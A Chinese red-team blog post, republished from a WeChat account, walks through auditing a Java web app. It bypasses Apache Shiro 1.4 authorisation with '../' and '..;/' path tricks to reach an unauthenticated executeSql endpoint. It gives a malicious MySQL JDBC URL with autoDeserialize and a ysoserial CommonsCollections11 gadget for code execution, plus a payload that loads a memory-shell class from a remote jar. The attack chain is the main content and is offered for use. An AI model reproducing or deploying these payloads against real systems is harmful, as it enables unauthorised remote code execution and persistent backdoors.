别急,我教你代码审计从权限绕过到RCE

admin 2023年11月20日16:23:27评论26 views字数 1582阅读5分16秒阅读模式

免责声明:

本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。

0x01 审计过程

首先在依赖中发现目标使用了shiro 1.4

已知下列请求不用鉴权

WEB-INF/classes/spring/spring-context-shiro.xml

别急,我教你代码审计从权限绕过到RCE

在过滤器中,/**配置会匹配所有url(匹配当前文件夹下文件和子文件夹下文件),比如/api/aaa、/api/aaa/aaaa、/api/aaa/aaaa/aaaa.jsp等等。众所周知,../可以跨目录,所以这种情况下可以使用/api/../admin来跨一级访问admin页面,因为/api/../admin也属于/api/**的范围。

当../被过滤或者有waf拦截时,URL中有一个保留字符分号(;),主要作为参数分隔符进行使用,对于request.getRequestURL()和request.getRequestURI()来说,使用&连接的参数键值,对其来说是获取不到的,但是参数分隔符(;)及内容是可以获取到的,所以也可以使用..;/、..;a/等等来绕过。

对于..;/的更多用法,可以看https://xz.aliyun.com/t/10799             

回到配置文件中,已知有关/**的配置可以用作权限绕过          

在shiro中,@RequiresPermissions是用来分配用户角色权限的,接口会按照注解的值来决定哪个角色能访问当前请求

别急,我教你代码审计从权限绕过到RCE

当包含有该注解配置了属性值时,即使利用了..;也会无法绕过,因为..;时shiro获取到的attribute是anon,与注解的属性不匹配:

别急,我教你代码审计从权限绕过到RCE

所以要找没有RequiresPermissions注解的接口

过查找,发现executeSql方法没有RequiresPermissions注解

在executeSql方法中,sql语句会传进数据库进行执行

别急,我教你代码审计从权限绕过到RCE    

但是在传进执行前,sysDataSource对象会先被传进MultiDBUtils类的init方法进行初始化,以便后面的sql语句能够有引擎执行,init方法:

别急,我教你代码审计从权限绕过到RCE

初始化完成后就将dataSource设置为jdbc引擎以供后方的sql执行使用    

别急,我教你代码审计从权限绕过到RCE

          

因为在executeSql方法中,SysDataSource对象是被当作参数来传进使用的

别急,我教你代码审计从权限绕过到RCE

所以根据SysDataSource的各参数构造数据源即可利用

别急,我教你代码审计从权限绕过到RCE    

自带的mysql驱动刚好版本存在漏洞

别急,我教你代码审计从权限绕过到RCE

利用链同样自带:

CbNOC、cc9、10、11

别急,我教你代码审计从权限绕过到RCE

          搭配权限绕过利用:

jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&dbUserName=yso_CommonsCollections11_calc

别急,我教你代码审计从权限绕过到RCE    

          

打内存马思路  

内存马打包成jar,放在开启web服务的服务器上,使用payload

yso_CommonsCollections11_remote-code-http://web/POC.jar#MemshellClass

          

其中http://web/POC.jar#MemshellClass可控,MemshellClass是内存马类名    

0x02 加入我们

后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧


别急,我教你代码审计从权限绕过到RCE

别急,我教你代码审计从权限绕过到RCE


原文始发于微信公众号(Lambda小队):别急,我教你代码审计从权限绕过到RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月20日16:23:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   别急,我教你代码审计从权限绕过到RCEhttp://cn-sec.com/archives/2221580.html

发表评论

匿名网友 填写信息